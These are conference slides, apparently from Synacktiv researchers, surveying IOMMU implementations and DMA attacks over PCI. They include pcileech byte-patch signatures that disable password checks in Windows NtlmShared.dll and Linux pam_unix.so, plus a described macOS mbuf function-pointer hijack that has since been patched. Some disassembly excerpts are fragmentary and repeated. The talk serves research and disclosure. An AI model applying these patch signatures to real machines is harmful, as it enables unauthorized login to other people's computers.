IOMMU and DMA attacks
Whoami

- Jean-Christophe Delaunay
- @Fist0urs on Twitter

Working for Synacktiv:
- Offensive security company
- >50 ninjas
- 3 poles: pentest, reverse engineering, development

In reverse engineering team (formerly in pentest):
- 25 reversers
- Focus on low level dev, reverse, vulnerability research/exploitation
- If there is software in it, we can own it :)
- We are hiring!
Whoami

- Jérémie Boutoille
- @tlk___ on Twitter

- Also in RE team...
- ...is sorry not to be here
Introduction
Disclaimer

- State of the art of current known attacks will be addressed on Intel technology only
- Attacks will rely on PCI BUS only
- Presentation will stay “high-level”, please refer to the paper for more details
- Targeting a stolen laptop or backdooring the “evil maid” way – Computer is considered already switched on.
- Many IOMMUs have been harmed during tests
Direct Memory Access (DMA)

- (over)simplified functioning
Technologies

- PCI
- FireWire
- PCI Express
- AGP
- etc.
Intel VT-d – IOMMU

- “Virtualization Technology for Directed I/O” (VT-d)
- Proceeds to DMA remapping to restrict accesses to some memory locations
- DMA remapping works as a classical MMU (“IO-MMU”) through multiple layers of page tables
- Mapping by pages of 4KB, 2MB or 1GB
- Addresses manipulated by peripherals may be seen as virtual addresses translated to physical
Peripherals are organized by “domains”
Each domain has its proper MMU configuration
All peripherals within a single domain share the same memory mapping
Each peripheral is identified by the triplet “bus:dev:fun”
Domain may be deduced from this triplet
Intel VT-d – IOMMU

- **Hypervisor usecase:**
  - a peripheral is shared with a virtual machine
  - must ensure that this peripheral may only reach virtual machine’s address space

- **OS usecase:**
  - IOMMU can be used to protect OS/kernel from rogue peripherals
  - must ensure that peripherals can only access their address spaces
Implementation
Windows

- IOMMU is used as a security mechanism by some technologies\(^1\):
  - Hyper-V
  - Virtualization Based Security (VBS)
- According to Microsoft, IOMMU is used to protect the OS from DMA attacks\([7]\) starting with Windows 10 1809
- Very few documentation regarding IOMMU actual implementation (as opposed to *NIX-based and macOS systems)

\(^1\) at least until Windows 10 1803
Linux

- IOMMU not activated by default (boot argument “intel_iommu=on”)
- Each IOMMU type² defines a structure “iommu_ops” which serves as an abstraction layer while interacting with hardware
- A virtual address as seen by a peripheral (“iova”) is associated with a physical address (“paddr”) with corresponding read/write rights
- Mapping is achieved per domain and not peripheral
- Each peripheral has its own domain → each peripheral has its own address space

² many platforms are supported by Linux’s IOMMU implementation
const struct iommu_ops intel_iommu_ops = {
    .capability = intel_iommu_capable,
    .domain_alloc = intel_iommu_domain_alloc,
    .domain_free = intel_iommu_domain_free,
    .attach_dev = intel_iommu_attach_device,
    .detach_dev = intel_iommu_detach_device,
    .aux_attach_dev = intel_iommu_aux_attach_device,
    .aux_detach_dev = intel_iommu_aux_detach_device,
    .aux_get_pasid = intel_iommu_aux_get_pasid,
    .map = intel_iommu_map,
    .unmap = intel_iommu_unmap,
    .iova_to_phys = intel_iommu_iova_to_phys,
    .add_device = intel_iommu_add_device,
    .remove_device = intel_iommu_remove_device,
    .get_resv_regions = intel_iommu_get_resv_regions,
    .put_resv_regions = intel_iommu_put_resv_regions,
    .device_group = pci_device_group,
    .dev_has_feat = intel_iommu_dev_has_feat,
    .dev_feat_enabled = intel_iommu_dev_feat_enabled,
    .dev_enable_feat = intel_iommu_dev_enable_feat,
    .dev_disable_feat = intel_iommu_dev_disable_feat,
    .pgsize_bitmap = INTEL_IOMMU_PGSIZES,
};

int (*map)(
    struct iommu_domain *domain,
    unsigned long iova,
    phys_addr_t paddr,
    size_t size,
    int prot
);

size_t (*unmap)(
    struct iommu_domain *domain,
    unsigned long iova,
    size_t size
);
macOS

- Apple understood many years ago the security concerns regarding IOMMU
- UEFI is involved in the IOMMU configuring process
- Not open source so a reverse engineering work was started in order to understand this part
- First results emphasize that the implementation follows Intel’s recommendations
macOS – reverse engineering

- IOMMU is activated at boot time within UEFI
- Custom UEFI protocol permitting drivers to configure IOMMU’s mappings for peripherals
- When UEFI hands off to the OS, the “IOPCIIFamily”\(^3\) driver reinitializes the IOMMU so that it can be used in the new execution context

\(^3\)https://opensource.apple.com/source/IOPCIIFamily/IOPCIIFamily-330.250.10/
This driver declares the “AppleVTDDDeviceMapper” class which overrides the “IOMapper” class

This class redefines the “iovmMapMemory” and “iovmUnmapMemory” APIs which permit to add and remove memory mappings within the IOMMU

Unlike Linux, macOS uses a single domain for all peripherals
Attacks
The basics

- **Goal:** unlock session (or obtain code execution permitting so)

- **Hardware:**
  - FPGA Spartan-6 FPGA SP605\(^{[10]}\) + FTDI ft601\(^{[11]}\) USB 3.0 extension...
  - ...or PCIe Screamer R02\(^{[12]}\)
  - Whatever adaptor permitting to connect to the PCI BUS
The basics

- **Software:**
  - Linux or Windows
  - *pcileech*\(^4\) by Ulf Frisk (@UlfFrisk)
  - ... + signatures

- **HOWTO:**
  - connect to the PCI BUS (ExpressCard, Thunderbolt, etc.)
  - probe main memory with *pcileech*, searching for logon session unlocking routine (signatures)
  - Patch password’s checking routine in memory with *pcileech*
  - Log in whatever password is entered[9]

\(^4\) https://github.com/ufrisk/pcileech
Windows – attack

- **Context:** without VBS\(^5\) no IOMMU by default
- **Identify** “MsvpPasswordValidate”, from “NtlmShared.dll”\(^6\), in memory[13]

\(^5\) with VBS activated, the attack would require to reboot the workstation

\(^6\) prior to Windows 10, this API was located in “msv1_0.dll”
Windows – attack

.loc_180003722:

CODE XREF: MsipPasswordValidate+80+f

.loc_180003722:

CODE XREF: MsipPasswordValidate+88+f ...

.loc_180003732:

CODE XREF: MsipPasswordValidate+A7+f ...

.loc_180003741:

CODE XREF: MsipPasswordValidate+E0+f ...

.loc_180003743:

; // starts at 180003650

MsipPasswordValidate endp
Windows – attack

# NtLmShared.dll - 10.0.18362.1 ; Windows 10 ; x64 ;
7e034cc4e80106cda064c21176333534ea949837e8dc2f11333d937814125de6
73A,C60F84,73E,FBFFFF32C0E9,73B,909090909090B001
Windows – attack

# NtlmShared.dll - 10.0.18362.1 ; Windows 10 ; x64 ; 7e034cc4e80106cda064c21176333534ea949837e8dc2f11333d937814125de673A,C60F84,73E,FBFFFF32C0E9,73B,909090909090B001
Linux – attack

- Context: no IOMMU by default
- Attack follows the same scheme as for Windows:
  - Patch password’s checking routine (“verify_pwd_hash” from “pam_unix.so”)
  - Log in whatever password is entered

```assembly
.loc_60F2:
  test r12d, r12d
  jnz loc_6149
  test rbx, rbx
  lea rcx, sub 4c78
  xor edx, edx
  mov rsi, rbx
  mov rdi, r13
  call _pam_set_data

.loc_6114:
# pam_unix-ubuntu-18.04.1-x64.so ; x64 ; a7473dbb2e8a939ee380d003a578b1893d499f9a943de3369d933daf75b11dec 0EF,4189C44585E40F85,0,-,0EF,31C0904531E4909090909090
```

```assembly
.loc_60F2:
  mov edx, eax
  call sub_69F0
  mov r12d, eax

.loc_6114:
  mov edx, eax
  call sub_69F0
  xor eax, eax
  ncp
```

```assembly
.loc_6149:
  test r12d, r12d
  jnz loc_6149
  test rbx, rbx
  lea rcx, sub 4c78
  xor edx, edx
  mov rsi, rbx
  mov rdi, r13
  call _pam_set_data

.loc_6114:
# pam_unix-ubuntu-18.04.1-x64.so ; x64 ; a7473dbb2e8a939ee380d003a578b1893d499f9a943de3369d933daf75b11dec 0EF,4189C44585E40F85,0,-,0EF,31C0904531E4909090909090
```
macOS – context

- IOMMU enabled by default\(^7\)
- Must find a way to circumvent IOMMU protection
- Along with other researchers, he released “Thunderclap”[16] [17], a platform dedicated to DMA attacks
- Vulnerabilities patched with macOS 10.12.4

\(^7\) IOMMU could be disabled prior to macOS High Sierra by rebooting in recovery mode. In this case pcileech can be used
macOS – principle

- Peripherals are under the same domain \(\rightarrow\) share the same address space
- Possible to access network card’s memory pages
- Exploit\(^8\) this behavior to be able to execute commands as root

\(^8\) before macOS 10.12.4
macOS – attack

- Network packets are described by an “mbuf”\(^9\) structure

```c
struct mbuf {
    struct m_hdr m_hdr;
    union {
        struct pkthdr MH_pkthdr; /* M_PKTHDR set */
        union {
            struct m_ext MH_ext; /* M_EXT set */
            char MH_databuf[_MHLEN];
        } MH_dat;
    } MH;
    char M_databuf[_MLEN]; /* !M_PKTHDR, !M_EXT */
} M_dat;
```

\(^9\) mbuf structs can be chained in order to obtain payloads of arbitrary sizes
macOS – attack

Data can be stored in multiple ways:

- **m_dat** (M_dat.M_databuf) and **m_pktdat** (M_dat.MH.MH_dat.MH_databuf)
- External buffer **m_ext** (M_dat.MH.MH_dat.MH_ext)

```c
struct mbuf {
    struct m_hdr m_hdr;
    union {
        struct {
            struct pkthdr MH_pkthdr; /* M_PKTHDR set */
            union {
                struct m_ext MH_ext; /* M_EXT set */
                char MH_databuf[_MHLEN];
            }
        }
    }
    MH;
    char M_databuf[_MLEN]; /* !M_PKTHDR, !M_EXT */
} M_dat;
```

macOS – attack

- The way data is stored depends on the `m_flags` value from the `m_buf` header (`m_hdr`)

```c
struct mbuf {
    struct m_hdr m_hdr;
    union {
        struct {
            struct pkthdr MH_pkthdr;
            union {
                struct m_ext MH_ext;
                char MH_databuf[_MHLEN];
            } MH_dat;
            MH;
            char M_databuf[_MLEN];
        } M_dat;
    }
};
```

```c
struct m_hdr {
    struct mbuf *mh_next; /* next buffer in chain */
    struct mbuf *mh_nextpkt; /* next chain in queue/record */
    caddr_t mh_data;      /* location of data */
    int32_t mh_len;       /* amount of data in this mbuf */
    u_int16_t mh_type;    /* type of data in this mbuf */
    u_int16_t mh_flags;   /* flags; see below */
};
```
macOS – attack

- m_ext is evaluated when M_EXT flag is set
- Because an external buffer is allocated to store the data, it must be freed when it is no longer needed
- The function in charge of freeing the buffer is stored in the m_ext structure...
macOS – attack

... as a function pointer

```c
/*
 * Description of external storage mapped into mbuf, valid only if M_EXT set.
 */

struct m_ext {
    caddr_t ext_buf;            /* start of buffer */
    void (*ext_free)(caddr_t, u_int, caddr_t); /* free routine if not the usual */
    u_int ext_size;            /* size of buffer, for ext_free */
    caddr_t ext_arg;           /* additional ext_free argument */
    struct ext_ref {
        struct mbuf *paired;
        u_int16_t minref;
        u_int16_t refcnt;
        u_int16_t prefcnt;
        u_int16_t flags;
        u_int32_t priv;
    } *ext_refflags;
};
```
macOS – attack

- We can modify this function pointer through DMA
- We also control its parameters as they are members of the m_ext struct:
  - ext_buff
  - ext_size
  - ext_arg
- This function pointer will be called when the buffer is freed
- We override this pointer with KUNCExecute API

\[^{10}\] KUNCExecute permits to launch a binary as root in the userland
macOS – patch

- m_ext.ext_free and m_ext.ext_refflags are now obfuscated with random values which are set during boot process

```c
uintptr_t mb_obscure_extfree __attribute__((visibility("hidden")));
uintptr_t mb_obscure_extref __attribute__((visibility("hidden")));

read_random(&mb_obscure_extref, sizeof (mb_obscure_extref));
read_random(&mb_obscure_extfree, sizeof (mb_obscure_extfree));
```

- The attack is no longer feasible without knowing the values of these random masks
Conclusion
So what?

- DMA attack vectors are more and more discussed and are still valid
- As expected, macOS is ahead of its contestants regarding hardware security...
- ...nevertheless, Windows seems to take the physical attack vector seriously
- If there is few documentation regarding IOMMU software implementation, there is little to no information regarding the hardware side
- If you don’t trust your IOMMU then fulldisk encryption + passphrase will always be a good alternative
- We plan to go further than the current state of the art during our RAPID’s project “DMArvest”
Do you have any questions?

THANK YOU FOR YOUR ATTENTION,
Bibliography